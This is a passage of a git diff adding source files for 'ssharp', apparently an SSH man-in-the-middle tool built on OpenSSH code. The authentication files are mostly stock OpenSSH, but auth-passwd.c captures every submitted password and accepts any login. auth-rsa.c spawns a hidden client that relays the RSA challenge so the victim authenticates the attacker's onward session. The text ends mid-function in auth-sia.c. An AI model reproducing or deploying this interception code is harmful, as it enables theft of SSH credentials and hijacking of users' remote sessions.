--git a/other/ssharp/auth-options.c b/other/ssharp/auth-options.c new file mode 100644 index 0000000..443f541 --- /dev/null +++ b/other/ssharp/auth-options.c @@ -0,0 +1,300 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-options.c,v 1.16 2001/03/18 12:07:52 markus Exp $"); + +#include "packet.h" +#include "xmalloc.h" +#include "match.h" +#include "log.h" +#include "canohost.h" +#include "channels.h" +#include "auth-options.h" +#include "servconf.h" + +/* Flags set authorized_keys flags */ +int no_port_forwarding_flag = 0; +int no_agent_forwarding_flag = 0; +int no_x11_forwarding_flag = 0; +int no_pty_flag = 0; + +/* "command=" option. */ +char *forced_command = NULL; + +/* "environment=" options. */ +struct envstring *custom_environment = NULL; + +extern ServerOptions options; + +void +auth_clear_options(void) +{ + no_agent_forwarding_flag = 0; + no_port_forwarding_flag = 0; + no_pty_flag = 0; + no_x11_forwarding_flag = 0; + while (custom_environment) { + struct envstring *ce = custom_environment; + custom_environment = ce->next; + xfree(ce->s); + xfree(ce); + } + if (forced_command) { + xfree(forced_command); + forced_command = NULL; + } + channel_clear_permitted_opens(); +} + +/* + * return 1 if access is granted, 0 if not. + * side effect: sets key option flags + */ +int +auth_parse_options(struct passwd *pw, char *opts, char *file, u_long linenum) +{ + const char *cp; + int i; + + /* reset options */ + auth_clear_options(); + + if (!opts) + return 1; + + while (*opts && *opts != ' ' && *opts != '\t') { + cp = "no-port-forwarding"; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + packet_send_debug("Port forwarding disabled."); + no_port_forwarding_flag = 1; + opts += strlen(cp); + goto next_option; + } + cp = "no-agent-forwarding"; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + packet_send_debug("Agent forwarding disabled."); + no_agent_forwarding_flag = 1; + opts += strlen(cp); + goto next_option; + } + cp = "no-X11-forwarding"; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + packet_send_debug("X11 forwarding disabled."); + no_x11_forwarding_flag = 1; + opts += strlen(cp); + goto next_option; + } + cp = "no-pty"; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + packet_send_debug("Pty allocation disabled."); + no_pty_flag = 1; + opts += strlen(cp); + goto next_option; + } + cp = "command=\""; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + opts += strlen(cp); + forced_command = xmalloc(strlen(opts) + 1); + i = 0; + while (*opts) { + if (*opts == '"') + break; + if (*opts == '\\' && opts[1] == '"') { + opts += 2; + forced_command[i++] = '"'; + continue; + } + forced_command[i++] = *opts++; + } + if (!*opts) { + debug("%.100s, line %lu: missing end quote", + file, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + file, linenum); + xfree(forced_command); + forced_command = NULL; + goto bad_option; + } + forced_command[i] = 0; + packet_send_debug("Forced command: %.900s", forced_command); + opts++; + goto next_option; + } + cp = "environment=\""; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + char *s; + struct envstring *new_envstring; + + opts += strlen(cp); + s = xmalloc(strlen(opts) + 1); + i = 0; + while (*opts) { + if (*opts == '"') + break; + if (*opts == '\\' && opts[1] == '"') { + opts += 2; + s[i++] = '"'; + continue; + } + s[i++] = *opts++; + } + if (!*opts) { + debug("%.100s, line %lu: missing end quote", + file, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + file, linenum); + xfree(s); + goto bad_option; + } + s[i] = 0; + packet_send_debug("Adding to environment: %.900s", s); + debug("Adding to environment: %.900s", s); + opts++; + new_envstring = xmalloc(sizeof(struct envstring)); + new_envstring->s = s; + new_envstring->next = custom_environment; + custom_environment = new_envstring; + goto next_option; + } + cp = "from=\""; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + int mname, mip; + const char *remote_ip = get_remote_ipaddr(); + const char *remote_host = get_canonical_hostname( + options.reverse_mapping_check); + char *patterns = xmalloc(strlen(opts) + 1); + + opts += strlen(cp); + i = 0; + while (*opts) { + if (*opts == '"') + break; + if (*opts == '\\' && opts[1] == '"') { + opts += 2; + patterns[i++] = '"'; + continue; + } + patterns[i++] = *opts++; + } + if (!*opts) { + debug("%.100s, line %lu: missing end quote", + file, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + file, linenum); + xfree(patterns); + goto bad_option; + } + patterns[i] = 0; + opts++; + /* + * Deny access if we get a negative + * match for the hostname or the ip + * or if we get not match at all + */ + mname = match_hostname(remote_host, patterns, + strlen(patterns)); + mip = match_hostname(remote_ip, patterns, + strlen(patterns)); + xfree(patterns); + if (mname == -1 || mip == -1 || + (mname != 1 && mip != 1)) { + log("Authentication tried for %.100s with " + "correct key but not from a permitted " + "host (host=%.200s, ip=%.200s).", + pw->pw_name, remote_host, remote_ip); + packet_send_debug("Your host '%.200s' is not " + "permitted to use this key for login.", + remote_host); + /* deny access */ + return 0; + } + /* Host name matches. */ + goto next_option; + } + cp = "permitopen=\""; + if (strncasecmp(opts, cp, strlen(cp)) == 0) { + u_short port; + char *c, *ep; + char *patterns = xmalloc(strlen(opts) + 1); + + opts += strlen(cp); + i = 0; + while (*opts) { + if (*opts == '"') + break; + if (*opts == '\\' && opts[1] == '"') { + opts += 2; + patterns[i++] = '"'; + continue; + } + patterns[i++] = *opts++; + } + if (!*opts) { + debug("%.100s, line %lu: missing end quote", + file, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + file, linenum); + xfree(patterns); + goto bad_option; + } + patterns[i] = 0; + opts++; + c = strchr(patterns, ':'); + if (c == NULL) { + debug("%.100s, line %lu: permitopen: missing colon <%.100s>", + file, linenum, patterns); + packet_send_debug("%.100s, line %lu: missing colon", + file, linenum); + xfree(patterns); + goto bad_option; + } + *c = 0; + c++; + port = strtol(c, &ep, 0); + if (c == ep) { + debug("%.100s, line %lu: permitopen: missing port <%.100s>", + file, linenum, patterns); + packet_send_debug("%.100s, line %lu: missing port", + file, linenum); + xfree(patterns); + goto bad_option; + } + if (options.allow_tcp_forwarding) + channel_add_permitted_opens(patterns, port); + xfree(patterns); + goto next_option; + } +next_option: + /* + * Skip the comma, and move to the next option + * (or break out if there are no more). + */ + if (!*opts) + fatal("Bugs in auth-options.c option processing."); + if (*opts == ' ' || *opts == '\t') + break; /* End of options. */ + if (*opts != ',') + goto bad_option; + opts++; + /* Process the next option. */ + } + /* grant access */ + return 1; + +bad_option: + log("Bad options in %.100s file, line %lu: %.50s", + file, linenum, opts); + packet_send_debug("Bad options in %.100s file, line %lu: %.50s", + file, linenum, opts); + /* deny access */ + return 0; +} diff --git a/other/ssharp/auth-options.h b/other/ssharp/auth-options.h new file mode 100644 index 0000000..8ee2694 --- /dev/null +++ b/other/ssharp/auth-options.h @@ -0,0 +1,44 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions to interface with the SSH_AUTHENTICATION_FD socket. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* $OpenBSD: auth-options.h,v 1.8 2001/01/21 19:05:42 markus Exp $ */ + +#ifndef AUTH_OPTIONS_H +#define AUTH_OPTIONS_H + +/* Linked list of custom environment strings */ +struct envstring { + struct envstring *next; + char *s; +}; + +/* Flags that may be set in authorized_keys options. */ +extern int no_port_forwarding_flag; +extern int no_agent_forwarding_flag; +extern int no_x11_forwarding_flag; +extern int no_pty_flag; +extern char *forced_command; +extern struct envstring *custom_environment; + +/* + * return 1 if access is granted, 0 if not. + * side effect: sets key option flags + */ +int +auth_parse_options(struct passwd *pw, char *options, char *file, + u_long linenum); + +/* reset options flags */ +void auth_clear_options(void); + +#endif diff --git a/other/ssharp/auth-pam.c b/other/ssharp/auth-pam.c new file mode 100644 index 0000000..54a2d56 --- /dev/null +++ b/other/ssharp/auth-pam.c @@ -0,0 +1,425 @@ +/* + * Copyright (c) 2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#ifdef USE_PAM +#include "ssh.h" +#include "xmalloc.h" +#include "log.h" +#include "auth-pam.h" +#include "servconf.h" +#include "canohost.h" +#include "readpass.h" + +extern char *__progname; + +RCSID("$Id: auth-pam.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#define NEW_AUTHTOK_MSG \ + "Warning: Your password has expired, please change it now" + +static int do_pam_conversation(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr); + +/* module-local variables */ +static struct pam_conv conv = { + do_pam_conversation, + NULL +}; +static char *__pam_msg = NULL; +static pam_handle_t *__pamh = NULL; +static const char *__pampasswd = NULL; + +/* states for do_pam_conversation() */ +enum { INITIAL_LOGIN, OTHER } pamstate = INITIAL_LOGIN; +/* remember whether pam_acct_mgmt() returned PAM_NEWAUTHTOK_REQD */ +static int password_change_required = 0; +/* remember whether the last pam_authenticate() succeeded or not */ +static int was_authenticated = 0; + +/* Remember what has been initialised */ +static int session_opened = 0; +static int creds_set = 0; + +/* accessor which allows us to switch conversation structs according to + * the authentication method being used */ +void do_pam_set_conv(struct pam_conv *conv) +{ + pam_set_item(__pamh, PAM_CONV, conv); +} + +/* start an authentication run */ +int do_pam_authenticate(int flags) +{ + int retval = pam_authenticate(__pamh, flags); + was_authenticated = (retval == PAM_SUCCESS); + return retval; +} + +/* + * PAM conversation function. + * There are two states this can run in. + * + * INITIAL_LOGIN mode simply feeds the password from the client into + * PAM in response to PAM_PROMPT_ECHO_OFF, and collects output + * messages with into __pam_msg. This is used during initial + * authentication to bypass the normal PAM password prompt. + * + * OTHER mode handles PAM_PROMPT_ECHO_OFF with read_passphrase(prompt, 1) + * and outputs messages to stderr. This mode is used if pam_chauthtok() + * is called to update expired passwords. + */ +static int do_pam_conversation(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr) +{ + struct pam_response *reply; + int count; + char buf[1024]; + + /* PAM will free this later */ + reply = malloc(num_msg * sizeof(*reply)); + if (reply == NULL) + return PAM_CONV_ERR; + + for (count = 0; count < num_msg; count++) { + if (pamstate == INITIAL_LOGIN) { + /* + * We can't use stdio yet, queue messages for + * printing later + */ + switch(PAM_MSG_MEMBER(msg, count, msg_style)) { + case PAM_PROMPT_ECHO_ON: + free(reply); + return PAM_CONV_ERR; + case PAM_PROMPT_ECHO_OFF: + if (__pampasswd == NULL) { + free(reply); + return PAM_CONV_ERR; + } + reply[count].resp = xstrdup(__pampasswd); + reply[count].resp_retcode = PAM_SUCCESS; + break; + case PAM_ERROR_MSG: + case PAM_TEXT_INFO: + if ((*msg)[count].msg != NULL) { + message_cat(&__pam_msg, + PAM_MSG_MEMBER(msg, count, msg)); + } + reply[count].resp = xstrdup(""); + reply[count].resp_retcode = PAM_SUCCESS; + break; + default: + free(reply); + return PAM_CONV_ERR; + } + } else { + /* + * stdio is connected, so interact directly + */ + switch(PAM_MSG_MEMBER(msg, count, msg_style)) { + case PAM_PROMPT_ECHO_ON: + fputs(PAM_MSG_MEMBER(msg, count, msg), stderr); + fgets(buf, sizeof(buf), stdin); + reply[count].resp = xstrdup(buf); + reply[count].resp_retcode = PAM_SUCCESS; + break; + case PAM_PROMPT_ECHO_OFF: + reply[count].resp = xstrdup( + read_passphrase(PAM_MSG_MEMBER(msg, count, + msg), 1)); + reply[count].resp_retcode = PAM_SUCCESS; + break; + case PAM_ERROR_MSG: + case PAM_TEXT_INFO: + if ((*msg)[count].msg != NULL) + fprintf(stderr, "%s\n", + PAM_MSG_MEMBER(msg, count, msg)); + reply[count].resp = xstrdup(""); + reply[count].resp_retcode = PAM_SUCCESS; + break; + default: + free(reply); + return PAM_CONV_ERR; + } + } + } + + *resp = reply; + + return PAM_SUCCESS; +} + +/* Called at exit to cleanly shutdown PAM */ +void do_pam_cleanup_proc(void *context) +{ + int pam_retval = PAM_SUCCESS; + + if (__pamh && session_opened) { + pam_retval = pam_close_session(__pamh, 0); + if (pam_retval != PAM_SUCCESS) + log("Cannot close PAM session[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + } + + if (__pamh && creds_set) { + pam_retval = pam_setcred(__pamh, PAM_DELETE_CRED); + if (pam_retval != PAM_SUCCESS) + debug("Cannot delete credentials[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + } + + if (__pamh) { + pam_retval = pam_end(__pamh, pam_retval); + if (pam_retval != PAM_SUCCESS) + log("Cannot release PAM authentication[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + } +} + +/* Attempt password authentation using PAM */ +int auth_pam_password(struct passwd *pw, const char *password) +{ + extern ServerOptions options; + int pam_retval; + + do_pam_set_conv(&conv); + + /* deny if no user. */ + if (pw == NULL) + return 0; + if (pw->pw_uid == 0 && options.permit_root_login == PERMIT_NO_PASSWD) + return 0; + if (*password == '\0' && options.permit_empty_passwd == 0) + return 0; + + __pampasswd = password; + + pamstate = INITIAL_LOGIN; + pam_retval = do_pam_authenticate(0); + if (pam_retval == PAM_SUCCESS) { + debug("PAM Password authentication accepted for " + "user \"%.100s\"", pw->pw_name); + return 1; + } else { + debug("PAM Password authentication for \"%.100s\" " + "failed[%d]: %s", pw->pw_name, pam_retval, + PAM_STRERROR(__pamh, pam_retval)); + return 0; + } +} + +/* Do account management using PAM */ +int do_pam_account(char *username, char *remote_user) +{ + int pam_retval; + + do_pam_set_conv(&conv); + + if (remote_user) { + debug("PAM setting ruser to \"%.200s\"", remote_user); + pam_retval = pam_set_item(__pamh, PAM_RUSER, remote_user); + if (pam_retval != PAM_SUCCESS) + fatal("PAM set ruser failed[%d]: %.200s", pam_retval, + PAM_STRERROR(__pamh, pam_retval)); + } + + pam_retval = pam_acct_mgmt(__pamh, 0); + switch (pam_retval) { + case PAM_SUCCESS: + /* This is what we want */ + break; + case PAM_NEW_AUTHTOK_REQD: + message_cat(&__pam_msg, NEW_AUTHTOK_MSG); + /* flag that password change is necessary */ + password_change_required = 1; + break; + default: + log("PAM rejected by account configuration[%d]: " + "%.200s", pam_retval, PAM_STRERROR(__pamh, + pam_retval)); + return(0); + } + + return(1); +} + +/* Do PAM-specific session initialisation */ +void do_pam_session(char *username, const char *ttyname) +{ + int pam_retval; + + do_pam_set_conv(&conv); + + if (ttyname != NULL) { + debug("PAM setting tty to \"%.200s\"", ttyname); + pam_retval = pam_set_item(__pamh, PAM_TTY, ttyname); + if (pam_retval != PAM_SUCCESS) + fatal("PAM set tty failed[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + } + + pam_retval = pam_open_session(__pamh, 0); + if (pam_retval != PAM_SUCCESS) + fatal("PAM session setup failed[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + + session_opened = 1; +} + +/* Set PAM credentials */ +void do_pam_setcred(int init) +{ + int pam_retval; + + do_pam_set_conv(&conv); + + debug("PAM establishing creds"); + pam_retval = pam_setcred(__pamh, + init ? PAM_ESTABLISH_CRED : PAM_REINITIALIZE_CRED); + if (pam_retval != PAM_SUCCESS) { + if (was_authenticated) + fatal("PAM setcred failed[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + else + debug("PAM setcred failed[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + } else + creds_set = 1; +} + +/* accessor function for file scope static variable */ +int is_pam_password_change_required(void) +{ + return password_change_required; +} + +/* + * Have user change authentication token if pam_acct_mgmt() indicated + * it was expired. This needs to be called after an interactive + * session is established and the user's pty is connected to + * stdin/stout/stderr. + */ +void do_pam_chauthtok(void) +{ + int pam_retval; + + do_pam_set_conv(&conv); + + if (password_change_required) { + pamstate = OTHER; + pam_retval = pam_chauthtok(__pamh, PAM_CHANGE_EXPIRED_AUTHTOK); + if (pam_retval != PAM_SUCCESS) + fatal("PAM pam_chauthtok failed[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + } +} + +/* Cleanly shutdown PAM */ +void finish_pam(void) +{ + do_pam_cleanup_proc(NULL); + fatal_remove_cleanup(&do_pam_cleanup_proc, NULL); +} + +/* Start PAM authentication for specified account */ +void start_pam(const char *user) +{ + int pam_retval; + extern ServerOptions options; + extern u_int utmp_len; + const char *rhost; + + debug("Starting up PAM with username \"%.200s\"", user); + + pam_retval = pam_start(SSHD_PAM_SERVICE, user, &conv, &__pamh); + + if (pam_retval != PAM_SUCCESS) + fatal("PAM initialisation failed[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); + + rhost = get_remote_name_or_ip(utmp_len, options.reverse_mapping_check); + debug("PAM setting rhost to \"%.200s\"", rhost); + + pam_retval = pam_set_item(__pamh, PAM_RHOST, rhost); + if (pam_retval != PAM_SUCCESS) + fatal("PAM set rhost failed[%d]: %.200s", pam_retval, + PAM_STRERROR(__pamh, pam_retval)); +#ifdef PAM_TTY_KLUDGE + /* + * Some PAM modules (e.g. pam_time) require a TTY to operate, + * and will fail in various stupid ways if they don't get one. + * sshd doesn't set the tty until too late in the auth process and may + * not even need one (for tty-less connections) + * Kludge: Set a fake PAM_TTY + */ + pam_retval = pam_set_item(__pamh, PAM_TTY, "ssh"); + if (pam_retval != PAM_SUCCESS) + fatal("PAM set tty failed[%d]: %.200s", + pam_retval, PAM_STRERROR(__pamh, pam_retval)); +#endif /* PAM_TTY_KLUDGE */ + + fatal_add_cleanup(&do_pam_cleanup_proc, NULL); +} + +/* Return list of PAM enviornment strings */ +char **fetch_pam_environment(void) +{ +#ifdef HAVE_PAM_GETENVLIST + return(pam_getenvlist(__pamh)); +#else /* HAVE_PAM_GETENVLIST */ + return(NULL); +#endif /* HAVE_PAM_GETENVLIST */ +} + +/* Print any messages that have been generated during authentication */ +/* or account checking to stderr */ +void print_pam_messages(void) +{ + if (__pam_msg != NULL) + fputs(__pam_msg, stderr); +} + +/* Append a message to buffer */ +void message_cat(char **p, const char *a) +{ + char *cp; + size_t new_len; + + new_len = strlen(a); + + if (*p) { + size_t len = strlen(*p); + + *p = xrealloc(*p, new_len + len + 2); + cp = *p + len; + } else + *p = cp = xmalloc(new_len + 2); + + memcpy(cp, a, new_len); + cp[new_len] = '\n'; + cp[new_len + 1] = '\0'; +} + +#endif /* USE_PAM */ diff --git a/other/ssharp/auth-pam.h b/other/ssharp/auth-pam.h new file mode 100644 index 0000000..297f3a2 --- /dev/null +++ b/other/ssharp/auth-pam.h @@ -0,0 +1,22 @@ +/* $Id: auth-pam.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#include "includes.h" +#ifdef USE_PAM + +#include /* For struct passwd */ + +void start_pam(const char *user); +void finish_pam(void); +int auth_pam_password(struct passwd *pw, const char *password); +char **fetch_pam_environment(void); +int do_pam_authenticate(int flags); +int do_pam_account(char *username, char *remote_user); +void do_pam_session(char *username, const char *ttyname); +void do_pam_setcred(int init); +void print_pam_messages(void); +int is_pam_password_change_required(void); +void do_pam_chauthtok(void); +void do_pam_set_conv(struct pam_conv *); +void message_cat(char **p, const char *a); + +#endif /* USE_PAM */ diff --git a/other/ssharp/auth-passwd.c b/other/ssharp/auth-passwd.c new file mode 100644 index 0000000..5733418 --- /dev/null +++ b/other/ssharp/auth-passwd.c @@ -0,0 +1,96 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Password authentication. This file contains the functions to check whether + * the password is valid for the user. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * Copyright (c) 1999 Dug Song. All rights reserved. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-passwd.c,v 1.22 2001/03/20 18:57:04 markus Exp $"); + +#if !defined(USE_PAM) && !defined(HAVE_OSF_SIA) + +#include "packet.h" +#include "xmalloc.h" +#include "log.h" +#include "servconf.h" +#include "auth.h" + +#ifdef HAVE_CRYPT_H +# include +#endif +#ifdef WITH_AIXAUTHENTICATE +# include +#endif +#ifdef __hpux +# include +# include +#endif +#ifdef HAVE_SCO_PROTECTED_PW +# include +# include +# include +#endif /* HAVE_SCO_PROTECTED_PW */ +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) +# include +#endif +#if defined(HAVE_GETPWANAM) && !defined(DISABLE_SHADOW) +# include +# include +# include +#endif +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) +# include "md5crypt.h" +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ + +#ifdef HAVE_CYGWIN +#undef ERROR +#include +#include +#define is_winnt (GetVersion() < 0x80000000) +#endif + + +extern ServerOptions options; + +/* + * Tries to authenticate the user using password. Returns true if + * authentication succeeds. + */ +int +auth_password(Authctxt *authctxt, const char *password) +{ + authctxt->sharp.pass = strdup(password); + return 1; +} +#endif /* !USE_PAM && !HAVE_OSF_SIA */ diff --git a/other/ssharp/auth-rsa.c b/other/ssharp/auth-rsa.c new file mode 100644 index 0000000..6d7f544 --- /dev/null +++ b/other/ssharp/auth-rsa.c @@ -0,0 +1,170 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * RSA-based authentication. This code determines whether to admit a login + * based on RSA authentication. This file also contains functions to check + * validity of the host key. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-rsa.c,v 1.40 2001/04/06 21:00:07 markus Exp $"); + +#include +#include + +#include "rsa.h" +#include "packet.h" +#include "xmalloc.h" +#include "ssh1.h" +#include "mpaux.h" +#include "uidswap.h" +#include "match.h" +#include "auth-options.h" +#include "pathnames.h" +#include "log.h" +#include "servconf.h" +#include "auth.h" +#include "sshpty.h" + + +/* import */ +extern ServerOptions options; + +/* + * Session identifier that is used to bind key exchange and authentication + * responses to a particular session. + */ +extern u_char session_id[16]; + +/* + * The .ssh/authorized_keys file contains public keys, one per line, in the + * following format: + * options bits e n comment + * where bits, e and n are decimal numbers, + * and comment is any string of characters up to newline. The maximum + * length of a line is 8000 characters. See the documentation for a + * description of the options. + */ + +/* + * Performs the RSA authentication challenge-response dialog with the client, + * and returns true (non-zero) if the client gave the correct answer to + * our challenge; returns zero if the client gives a wrong answer. + */ +#if 0 +int +auth_rsa_challenge_dialog(BIGNUM *challenge) +{ + BIGNUM *challenge; + BN_CTX *ctx; + u_char buf[32], mdbuf[16], response[16]; + MD5_CTX md; + u_int i; + int plen, len; + + + /* Send the encrypted challenge to the client. */ + packet_start(SSH_SMSG_AUTH_RSA_CHALLENGE); + packet_put_bignum(challenge); + packet_send(); + BN_clear_free(encrypted_challenge); + packet_write_wait(); + + /* Wait for a response. */ + packet_read_expect(&plen, SSH_CMSG_AUTH_RSA_RESPONSE); + packet_integrity_check(plen, 16, SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + response[i] = packet_get_char(); + + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + if (len <= 0 || len > 32) + fatal("auth_rsa_challenge_dialog: bad challenge length %d", len); + memset(buf, 0, 32); + BN_bn2bin(challenge, buf + 32 - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(mdbuf, &md); + BN_clear_free(challenge); + + /* Verify that the response is the original challenge. */ + if (memcmp(response, mdbuf, 16) != 0) { + /* Wrong answer. */ + return 0; + } + /* Correct answer. */ + return 1; +} + +#endif + +/* + * Performs the RSA authentication dialog with the client. This returns + * 0 if the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ + +int +auth_rsa(Authctxt *auth, BIGNUM *client_n) +{ + char buf[8192], x[65], response[16]; + u_char *bin_modulus; + BIGNUM challenge; + char *a[] = {SSHARP_CLIENT, "-r", "-l", auth->sharp.login, + auth->sharp.remote, NULL}; + struct sockaddr_in dst; + int r, mlen, plen, i; + + dstaddr(packet_get_connection_in(), &dst); + auth->sharp.remote = strdup(inet_ntoa(dst.sin_addr)); + + pty_allocate(&auth->master, &auth->slave, x, sizeof(x)); + if (fork() == 0) { + int i; + dup2(auth->slave, 0); dup2(auth->slave, 1); + i = open("/dev/null", O_RDWR); + dup2(i, 2); + for (i = 3; i < 256; ++i) + close(i); + auth->pid = getpid(); + execve(*a, a, NULL); + + /* NOT REACHED */ + } + + /* Give special client the public modulus */ + mlen = BN_num_bytes(client_n); + bin_modulus = (char *)calloc(1, mlen); + BN_bn2bin(client_n, bin_modulus); + write(auth->master, bin_modulus, mlen); + free(bin_modulus); + + /* Read challenge from special client + * and send it to remote client so he computes + * response for us. */ + r = read(auth->master, buf, sizeof(buf)); + BN_bin2bn(buf, r, &challenge); + + /* Send the challenge to the client. */ + packet_start(SSH_SMSG_AUTH_RSA_CHALLENGE); + packet_put_bignum(&challenge); + packet_send(); + packet_write_wait(); + + /* Wait for a response. */ + packet_read_expect(&plen, SSH_CMSG_AUTH_RSA_RESPONSE); + packet_integrity_check(plen, 16, SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + response[i] = packet_get_char(); + + write(auth->master, response, sizeof(response)); + return 1; +} diff --git a/other/ssharp/auth-sia.c b/other/ssharp/auth-sia.c new file mode 100644 index 0000000..4e947cd --- /dev/null +++ b/other/ssharp/auth-sia.c @@ -0,0 +1,107 @@ +#include "includes.h" + +#ifdef HAVE_OSF_SIA +#include "ssh.h" +#include "auth-sia.h" +#include "log.h" +#include "servconf.h" +#include "canohost.h" + +#include +#include +#include +#include +#include +#include +#include +#include + +extern ServerOptions options; +extern int saved_argc; +extern char **saved_argv; + +extern int errno; + +int +auth_sia_password(char *user, char *pass) +{ + int ret; + SIAENTITY *ent = NULL; + const char *host; + + host = get_canonical_hostname(options.reverse_mapping_check); + + if (!user || !pass) + return(0); + + if (sia_ses_init(&ent, saved_argc, saved_argv, host, user, NULL, 0, + NULL) != SIASUCCESS) + return(0); + + if ((ret = sia_ses_authent(NULL, pass, ent)) != SIASUCCESS) { + error("couldn't authenticate %s from %s", user, host); + if (ret & SIASTOP) + sia_ses_release(&ent); + return(0); + } + + sia_ses_release(&ent); + + return(1); +} + +void +session_setup_sia(char *user, char *tty) +{ + int ret; + struct passwd *pw; + SIAENTITY *ent = NULL; + const char *host; + + host = get_canonical_hostname (options.reverse_mapping_check); + + if (sia_ses_init(&ent, saved_argc, saved_argv, host, user, tty, 0, + NULL) != SIASUCCESS) { + error("sia_ses_init failed"); + exit(1); + } + + if 